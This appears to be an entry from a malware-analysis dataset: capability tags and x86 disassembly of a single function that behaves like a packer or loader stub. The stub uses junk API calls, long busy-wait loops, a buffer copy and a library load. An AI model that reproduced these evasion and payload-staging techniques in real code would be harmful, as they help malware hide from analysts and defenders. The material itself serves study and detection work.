Function at 0x405570
Capabilities:
Create pipe
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x844
mov eax, dword [0x4a1004]
xor eax, esp
mov dword [esp + 0x840], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4055a9
mov eax, dword [0x4a2934]
mov dword [0x4df480], eax
cmp dword [0x4df47c], 0x3c
jne 0x4055b5
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x405597
cmp dword [0x4df47c], 0x7c
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jne 0x40563c
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push str.kumugemebifiguzif
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea edx, [esp + 0x18]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call esi
push ebx
lea eax, [esp + 0x4c]
push eax
push str.sedimerolahihaj
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
cmp dword [0x4df47c], 0x2d
jne 0x40563c
push ebx
push ebx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
cmp dword [0x4df47c], 0x110a
jne 0x4056ad
push str.heberecosah_rudapatupetejikeweruvekexaliyad_kojifepeguvixuzubi
mov dword [0x4df0e8], ebx
mov dword [0x4df0ec], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_FileTimeToDosDateTime]
push str.cewuyoxaxupujorosodecajejigo
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
call fcn.0040100f
add esp, 4
push ebx
call fcn.0040100f
add esp, 4
push ebx
call fcn.0040100f
add esp, 4
call fcn.00405290
xor ecx, ecx
cmp dword [0x4df47c], ebx
jbe 0x4056eb
lea esp, [esp]
mov eax, dword [0x4df480]
mov dword [esp + 0xc], eax
mov eax, 0xa231
add dword [esp + 0xc], eax
mov edx, dword [esp + 0xc]
mov al, byte [edx + ecx]
mov edx, dword [0x4dee1c]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x4df47c]
jb 0x4056c0
push str.msimg32.dll
call esi
call fcn.004052c0
call fcn.004054e0
call fcn.004052b0
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
nop
lea eax, [esp + 0x20]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x405733
cmp dword [esp + 0x28], 0xf5bed7
jne 0x40573c
inc esi
cmp esi, 0x1ece7a52
jl 0x405710
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x12e6c3
jne 0x40575d
call fcn.00405280
cmp dword [0x4df47c], 0x3dc
mov dword [0x4df0f0], 0x8e46a6f0
jne 0x405797
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x20], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.givatukayezivemicufig
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405750
mov ecx, dword [esp + 0x84c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret